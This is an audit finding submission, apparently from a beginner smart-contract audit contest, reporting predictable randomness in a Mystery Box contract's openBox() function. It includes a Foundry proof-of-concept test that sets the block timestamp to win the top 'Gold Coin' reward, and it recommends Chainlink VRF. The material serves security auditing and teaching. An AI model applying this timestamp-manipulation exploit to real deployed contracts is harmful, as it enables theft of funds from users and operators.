Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

The reward drawing is not based on a random variable

Summary

The randomValue used in MysteryBox__openBox() function is not a random number.

Vulnerability Details

The randomValue is set based on predictable variables; timestamp and msg.address both known to the attacker. Therefore it can be easily tricked to the benefit of the attacker.

Impact

The attacker can choose the time of the attack to get the maximum possible reward when calling MysteryBox _openBox() function.

Tools Used

Run the following foundry test:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
contract TestMysteryBox is Test {
MysteryBox public mysteryBox;
address public owner = makeAddr("owner");
address public user1 = address(0x1);
function setUp() public {
vm.deal(owner, 1 ether);
vm.deal(user1, 1 ether);
vm.prank(owner);
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function testGetBestRewardPossible() public {
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.warp(26);
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
assertEq(rewards[0].value, 1 ether);
assertEq(rewards[0].name, "Gold Coin");
vm.stopPrank();
}
}

Recommendations

For secure and unbiased random number generation use oracles like chainlink vrf (https://docs.chain.link/vrf)

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.